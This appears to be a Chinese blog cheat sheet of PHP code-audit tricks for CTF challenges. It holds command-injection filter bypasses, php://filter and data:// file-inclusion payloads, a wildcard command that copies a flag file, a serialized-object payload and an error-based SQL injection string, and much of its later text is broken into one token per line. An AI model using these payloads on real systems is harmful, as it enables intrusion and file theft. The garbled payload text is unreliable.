ctf中php代码审计技巧

PHP CTF 常⽤操作函数

code explanation
print_r(glob(“*”)); 该函数以全局变量包裹变量以数组,返回当前⽂件下所有
file_get_contents() 该函数以获取⽂件内容以⽂本
var_dump(glob(‘../../../*’)); 打印当前根⽬录⽂件
var_dump(file_get_contents(‘../../../name.flag’)); 代码执⾏,读取任意⽂件
scandir(“/”) 可操作任意⽬录,⼀览⽬录下的⽂件名
create_function() 此函数在 PHP7.2 中被废除
show_source() 该函数可直接 show flag
highlight_file() 该函数可直接 show flag
extrat() 该函数数组对应键值对为变量 = 变量名

PHP 常⽤绕过⼿法

当可以执⾏任意命令,我们可以⽤如下⼿法绕过添加⽂件包含函数操作:

?c=include”$_GET[1]”?>&1=php://filter/convert.base64-encode/resource=flag.php

Base64,关键字绕过

?c=include”$_GET[1]”?>&1=php://filter/convert.base64-encode/resource=flag.php

code explanation
%09 空格绕过
重定向 <> 空格绕过
${IFS} 空格绕过
/**/ 注释符 空格绕过
{cat,666.txt} 空格绕过
cat–> ca\t 字符串过滤绕过
flag–>fl\ag–>fla”g 字符串过滤绕过
f*–>fla????? 模糊匹配-字符串过滤绕过
CAT ⼤⼩写绕过
pphphp 双写绕过
cat 123%0A flag 换⾏执⾏命令
**ca$1t 字符串过滤绕过
ca$@t fla$@g 字符串过滤绕过
c””at、ca”t 字符串过滤绕过
执⾏ ls 命令: a=l;b=s;$a$b cat 1.php 利⽤变量绕过字符串过滤
cat ⽂件内容: a=c;b=at;c=1.php;$a$b ${c} 利⽤变量绕过字符串过滤
?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php 字符串过滤绕过
参数格式:+参数名⻓度 反序列化中 “:” 被匹配过滤,绕过

反序列化魔术⽅法

functions explanation
__construct() 构造函数:当⼀个对象创建时被调⽤,但在 unserialize() 的反序列化过程不会被触发
__destruck() 析构函数:当⼀个对象销毁时被调⽤
__toString() 当⼀个对象被当作⼀个字符串时被调⽤
__sleep() serialize() 时会⾃动调⽤
__wakeup() unserialize() 时会⾃动调⽤
__call() 当调⽤的⽅法不存在时触发
__isset() 在不可访问的属性上调⽤ isset() 或 empty() 触发
__unset() 在不可访问的属性上使⽤ unset() 时触发
__invoke() 当⼀个对象被当作函数调⽤时触发
__get() 类中的属性私有或不存在触发
__set() 类中的属性私有或不存在触发

类属性⽅法的关系

1.属性关系

name explanation
public 在类的外部和内部都可以调⽤,被继承能够重构
protected 在类的内部可以调⽤外部,不能被继承且重构
private 只有在类的内部调⽤,不能被继承
static 在类的内部和外部能够调⽤, 内部调⽤⽅法:self:: 属性变量 外部调⽤⽅法:类名::属性变量
protected 属性被序列化的时候属性值会变成:%00*%00属性名
private 属性被序列化的时候属性值会变成:%00类名%00属性名
PHP 7.1+ 该类 PHP 版本对属性类型不敏感,如果存在对以上属性特殊字符的过滤我们可以使⽤ public 代替其序列化操作 ([⽹⿍杯 2020 ⻘⻰组]AreUSerialz)

2.⽅法关系

name explanation
public 在类的外部和内部都可以调⽤,可以被继承
protected 在类的内部可以调⽤,外部不可被调⽤,可以被继承
private 只有在类的内部调⽤,不可以被继承
static 外部内部都可以调⽤, 内部调⽤⽅法:$this → ⽅法名 外部调⽤⽅法:类名::⽅法名

create_function

参考 seebug Code Breaking 挑战赛 Writeup

该题可以使⽤ create_function 函数来操作

在PHP的命名空间默认为`\`,所有的函数和类都在`\`这个命名空间中,如果直接写函数名

function_name()调⽤,调⽤的时候其实相当于写了⼀个相对路径;⽽如果写\function_name() 这样调

⽤函数,则其实是写了⼀个路径。如果你在其他namespace⾥调⽤系统类,必须写路径这种写法。

create_function 函数解析

create_function的第⼀个参数是参数,第⼆个参数是内容。

第⼆个参数为 $arg 的值

$this->a 与 $this->$a

code explanation
$this -> 成员属性 = 属性值 这个是给成员属性赋值的

⽅法

$out = a; $this -> $out 相当于 $this -> a,⽽ $this -> out 是

$this -> out

$this -> var = $var

$this->,该关键词属于OOP编程中的,通常被称作伪变量 $this ,他是对⼀个对象⽰例的引⽤。

参考代码如下

ctf中php代码审计技巧插图

$this 在 OOP 中是伪变量,(伪变量不是真正的变量,只是形式上是变量,变量中存储的是固定的值,$this 中并没有,哪个对象调⽤,$this代表哪个对象。)

同时,也可以将 $this 理解为对象的引⽤,$this 通过引⽤的形式访问⼀个对象的⽅法和属性

那么综合我们前⾯说的,$this -> var = $var 这是给成员属性赋值的⽅法

这⾥代码⾥⾯给 name 附上 $name 的值,调⽤了内部的函数,从⽽ $name=Yuri,$age = 30

总结 $this -> var = $var

是⼀个给成员属性赋值的⽅法,其作为⼀个伪变量存在,$this 调⽤了哪个对象,那么 $this 代表哪个对象的值

绕过 __wakeup() 函数

当序列化字符串表⽰对象属性个数的值⼤于真实个数的属性时会跳过 __wakeup 的执⾏。

弱类型 “==” ⽐较绕过 这⽅⾯问题普及的很多,不作过多的解释

ctf中php代码审计技巧插图1

正则表达式是什么

正则表达式是⼀个可以被“有限状态⾃动机”接受的语⾔类。

“有限状态⾃动机”,其拥有有限数量的状态,每个状态可以迁移到零个或多个状态,输⼊字串决定执⾏哪个状态的迁移。

⽽常⻅的正则引擎,⼜被细分为 DFA(确定性有限状态⾃动机)与 NFA(⾮确定性有限状态⾃动机)。

他们匹配输⼊的过程分别是:

DFA: 从起始状态开始,⼀个字符⼀个字符地读取输⼊串,并根据正则来⼀步步确定⾄下⼀个转移状态,直到匹配不上或⾛完整个输⼊

NFA :从起始状态开始,⼀个字符⼀个字符地读取输⼊串,并与正则表达式进⾏匹配,如果匹配不上,则进⾏回溯,尝试其他状态

由于NFA的执⾏过程存在回溯,所以其性能会劣于DFA,但它⽀持更多功能。⼤多数程序语⾔都使⽤了NFA作为正则引擎,其中也包括 PHP 使⽤的 PCRE 库。

PHP 正则表达式元字符含义

code explanation
/i 匹配任意⼤⼩写字⺟ (不区分⼤⼩写)
/s 圆点元字符 (.) 匹配所有的字符,包括换⾏符

PHP 正则表达式实例-1

  1. “>” 匹配关于该符号开头的字符串
  2. “?” 匹配关于该字符的第⼆个字符串
  3. “.*” 匹配所有后续字符
  4. “[(`;?>]” 匹配关于 “左圆括号,反引号,封号,问号,⼤于号” 的任意⼀个字符串
  5. 然后匹配所有
  6. 匹配规则参考元字符含义即可

如果我们键⼊⼀个恶意字符串 <?php phpinfo();//aaaaa

匹配过程如下;

ctf中php代码审计技巧插图2

解析

我们可以看到,再第⼀个 .* 执⾏完毕后,因为其可以匹配任意字符,所以 终匹配到输⼊串

的结尾,也是 //aaaaa,但这对于 NFA 模式来说,显然是不对的,因为震泽显⽰ .* 后还应

该⼜⼀个字符 [(`;?]

所以 NFA 开始回溯,先吐出来⼀个 a,输⼊变成 //aaaa,但是仍然匹配不上正则,那么继续吐出来 a,直到 终吐出 ;,输⼊变成 <?php phpinfo(),此时 .* 匹配的是 php phpinfo(),⽽后⾯的 ; 则匹配上了 [(`;?],整个结果满⾜了 NFA 模式正则表达式匹配的需求,于是不再回溯,向后匹配所有

PHP NFA 回溯pcre.backtrack_limit限制利⽤

回溯次数上限默认是100万。那么,假设我们的回溯次数超过了100万,会出现什么现象呢?

ctf中php代码审计技巧插图3

可⻅,preg_match返⾮1和0,⽽falsepreg_match函数返回 false 表⽰此次执⾏失败了,我们可以调⽤var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR); ,发现失败的原因的确是回溯次数超出了限制:php>var_dump(preg_last_error()===PREG_BACKTRACK_LIMIT_ERROR);bool(false)

总结如下:

ctf中php代码审计技巧插图4
通过 NFA 正则模式的限制利⽤我们可以通过发送超⻓字符串的⽅式,使正则执⾏失败, 后绕过⽬标对PHP语⾔的限制。

intval() 函数特性与⽐较绕过

由于 PHP 天⽣弱语⾔的特性,导致 intval() 函数的匹配与真实情况不符

其匹配规律为⾄左往右

code explanation
a100 = 0 匹配到字⺟为 0 False
1000a = 1000 先匹配到数字则为原值
‘100’ = 100 以字符串形式进⼊转换为 int
‘100a’ = 100 同上
0.1 = 0 布尔值为 0
1.6 = 1 不四舍五⼊,⾃主忽略⼩数点
true = 1
null = 0
Flase = 0

若 CTF 或代码审计中出现这类⽐较操作可发散如下思维;

1.运算符绕过

  1. id = 999 + 1
  2. id = 200 * 5
  3. id = 100 / 0.1

2.进制转换

  1. id = 0b1111101000
  2. id = 0x38e

3.字节操作

  1. id = ~~1000
  2. id = 200 ^ 800
  3. id = 992 | 8

4.sql注⼊

  1. id = 1 or 1=1 #
  2. id = id #

PHP ⽐较运算符与弱类型

ctf中php代码审计技巧插图5

PHP 代码执⾏命令执⾏函数总结

code 条件
eval() 把参数中的字符串当做php代码执⾏。该字符串必须是合法的代码,且必须以分号结尾。
assert() 如果assertion是字符串,那么将会被assert()当作php代码执⾏。且可以不以分号结尾。
preg_replace() /e 参数
create_function() 创建匿名函数
array_map() 将数组作为变量名,值作为 PHP 代码执⾏
call_user_func() 把第⼀个参数作为回调函数调⽤,其余参数是回调函数的参数。
call_user_func_array 调⽤回调函数,并把⼀个数组参数作为回调函数的参数
动态函数 $a($b) 将 a 的值作为 变量,b 的值作为 PHP 代码执⾏
system() 任意命令执⾏
exec() 任意命令执⾏
shell_exec() 任意命令执⾏
passthru() 任意命令执⾏
popen() 该函数⽆回显,但会将结果输出到⼀个⽂件⾥
反引号“ 任意命令执⾏

call_user_func() 函数说明

<?phpifisset($_GET[‘funName’])){fun=$_GET[、’funName’];$para=$_GET[‘stra’];call_user_func($fun,$para);else{echo”?funName=assert&stra=phpinfo()”;}?>

Linux ⽂件操作命令以查看 flag

ctf中php代码审计技巧插图6

⼩技巧 base64_decode()

⼩技巧闭合注释语句 若可控制任意数据传⼊,且⽆过滤

code  
?> 闭合语句
// 注释后⽅语句
/* 注释后⽅语句

PHP 伪协议总结

格式

code explanation
file:// 访问本地⽂件系统
http:// 访问 HTTP(s) ⽹址
ftp:// 访问 FTP(s) URLs
php:// 访问各个输⼊/输出流(I/O streams
zlib:// 压缩流
data:// 数据(RFC 2397)
glob:// 查找匹配的⽂件路径模式
phar:// PHP 归档
ssh2:// Secure Shell 2
rar:// RAR
ogg:// ⾳频流
expect:// 处理交互式的流

php://

php:// 作⽤于访问输⼊输出流

code explanation
php://input 访问请求的原始数据的只读流
php://output 只写的数据流,允许你以 print 和 echo ⼀样的⽅式 写⼊到输出缓冲区。
php://filter 元封装器, 设计⽤于数据流打开时的筛选过滤应⽤。

 

关于 php://filter 元封装器

它的⽤法如下,我们可以使⽤数据流加密我们需要的数据

code explanation
resource =< 要过滤的数

据流>

这个参数必须村⼦啊,它指定了你要筛选过滤的数据流
read = <要读取的链数据

>

参数可选,设定⼀个或多个过滤,使⽤ ” | ” 分割
write = <要写的链数据> 参数可选,设定⼀个或多个过滤,使⽤ “
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应⽤于读或写链。

为常⽤的⽅法是⽤该元封装器读取⽂件,以 Base64 加密传输过来,保证数据完整性,⼀般⽤于可执⾏任意代码,或⽂件包含

php

:

//

filter

/

read

=

string

.

toupper

|

string

.

rot

13

/

resource

=

flag

php

:

//

filter

/

read

=

convert

.

base

64-

encode

/

resource

=

flag

.

php

data://

data:// — 对应数据

data:// 的常⽤⽅法⼀般如下

data

:

//

text

/

plain

;

base

64

,

bas

64

如果可以任意传参,或代码执⾏,⽂件包含等

?

file

=

data

:

text

/

plain

,

<

?

php

phpinfo

()

;

?

>

也可以不携带编码读取

?

text

=

data

:

//

text

/

plain

,

welcome

to

the

zjctf

&

file

=

useless

.

php

&

password

=

O

:4:

Flag

:1:

{

s

:4:

file

;

s

:8:

flag

.

php

;

}

phar://

该伪协议的利⽤⽅法如下;

zip 压缩包,⾥⾯为 txt ⽂件,内容为

存在⽂件包含漏洞

payload 如下

?

phar

:

//

test

.

zip

/

test

.

txt

file://

⽤于访问本地⽂件系统,在CTF中通常⽤来读取本地⽂件,且不受allow_url_fopen与 allow_url_include的影响。

#1.

file

:

//

[

]

http

:

//

127.0.0.1

/

include

.

php

?

file

=

file

:

//

C

:

\

phpStudy

\

PHPTutorial

\

WWW

\

phpinfo

.

txt

#2.

file

:

//

[

]

http

:

//

127.0.0.1

/

include

.

php

?

file

=

.

/

phpinfo

.

txt

#3.

file

:

//

[

]

http

:

//

127.0.0.1

/

include

.

php

?

file

=

http

:

//

127.0.0.1

/

phpinfo

.

txt

zip:// & bzip2:// & zlib://

均属于压缩流,可以访问压缩⽂件中的⼦⽂件更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等

ctf中php代码审计技巧插图7

extract()、parse_str() 等变量覆盖

extract函数从数组导⼊变量(如$_GET、 $_POST),将数组的键名作为变量的值。

⽽ parse_str 函数则是从类似 name=Bill&age=60 的格式字符串解析变量.如果在使⽤第⼀个函数没有设置EXTR_SKIP或者EXTR_PREFIX_SAME等处理变量冲突的参数时、第⼆个函数没有使⽤数组接受变量时将会导致变量覆盖的问题

intval()整数溢出、向下取整和整形判断的问题

32位系统 ⼤的带符号范围为-2147483648 到 2147483647,64位 ⼤的是

9223372036854775807,因此,在32位系统上 intval(‘1000000000000’) 会返回 2147483647 此外intval(10.99999)会返回10,intval和int等取整都是’截断’取整,并不是四舍五⼊

intval函数进去取整时,是直到遇上数字或者正负号才开始进⾏转换,之后在遇到⾮数字或者结束符号(\0)时结束转换

浮点数精度问题导致的⼤⼩⽐较问题

当⼩数⼩于10^-16后,PHP对于⼩数⼤⼩不分了

var_dump(1.000000000000000 == 1) >> TRUE var_dump(1.0000000000000001 == 1) >> TRUE

is_numeric()与intval()特性差异

is_numeric 函数在判断是否是数字时会忽略字符串开头的 ’ ‘、’\t’、’\n’、’\r’、’\v’、’\f’。⽽ ’.’

可以出现在任意位置,E、e 能出现在参数中间,仍可以被判断为数字。也是说 is_numeric(“\r\n\t 0.1e2”) >> TRUE intval() 函数会忽略’’ ‘\n’、’\r’、’\t’、’\v’、’\0’ ,也是说 intval (“\r\n\t 12”) >> 12

strcmp() 数组⽐较绕过

利⽤版本:PHP < 5.3

int strcmp ( string str2 )

参数 str1 第⼀个字符串。str2 第⼆个字符串。如果 str1 ⼩于 str2 返回 < 0;如果 str1 ⼤于 str2 返回 > 0;如果两者相等,返回 0。

但是如果传⼊的两个变量是数组的话,函数会报错返回NULL,如果只是⽤strcmp()==0来判断的话

可以绕过

strcmp

(

str

1

,

str

2

)

if

(

str

1

>

str

2

)

return

>

0

if

(

str

1

<

str

2

)

return

<

0

if

(

str

1

==

str

2

)

return

0

if

(

str

1

=

arry

[]

&&

str

2

=

string

)

return

0

sha1()、md5() 函数传⼊数组⽐较绕过

sha1() MD5()函数默认接收的参数是字符串类型,但是如果如果传⼊的参数是数组的话,函数

会报错返回NULL。类似sha1($_GET[‘name’]) === sha1($_GET[‘password’])的⽐较可以绕过

eregi()匹配绕过

eregi()默认接收字符串参数,如果传⼊数组,函数会报错并返回NULL。同时还可以%00 截断进⾏绕过

PHP 变量名不能带有点 ‘.’ 和空格,否则在会被转化为下划线 ‘_’

parse

_

str

(

na

.

me

=

admin

&

pass wd

=

123

,

$

test

)

;

var

_

dump

(

$

test

)

;

array

(

2

)

{

[

na

_

me

]

=>

string

(

5

)

admin

[

pass

_

wd

]

=>

string

(

3

)

“123”

in_arrary() 函数默认进⾏松散⽐较(进⾏类型转换)

in

_

arrary

(

“1

asd

,

arrart

(

1

,

2

,

3

,

4

))

=>

true

in

_

arrary

(

“1

asd

,

arrart

(

1

,

2

,

3

,

4

)

,

TRUE

)

=>

false

\\

(

strict

true

)

模糊匹配

利⽤前提:代码执⾏

但是怎么做真的不会了,查看⼀下⼤佬的博客也简单,是⽤模糊匹配,将falg.txt复制到p.ppp,然后在访问url/p.ppp可下载到flag了

?

cmd

=

?

><

?

=

`

/???/?

p

/????????

p

.

ppp

`

;

?

>

相当于

?

cmd

=

?

><

?

=

`

/

bin

/

cp

/

flag

.

txt p

.

ppp

`

;

?

>

把前⾯的 <?php 闭合掉 后的到p.ppp⽂件打开得到flag

SQL 注⼊相关

1:在进⾏注⼊时,只要有多个带⼊点,都要进⾏测试

2:当单引号闭合不如意时,尝试双引号

3:当 # — 注释不如意时,尝试 %23 闭合

4:⽤于尝试各类注⼊⼿法,常⻅如报错,堆叠查询等

5

⼿

/**/

()

admin

or

(

extractvalue

(0

x

0

a

,

concat

(0

x

0

a

,

(

select

(

table

_

name

)

from

(

information

_

schema

.

tables

)

where

(

table

_

schema

)

like

(

geek

)))))

%

23

© 版权声明
THE END
喜欢就亲吻一下吧
分享
评论 抢沙发
头像
评论一下幻城的文章吧
提交
头像

昵称

取消
昵称代码图片

    暂无评论内容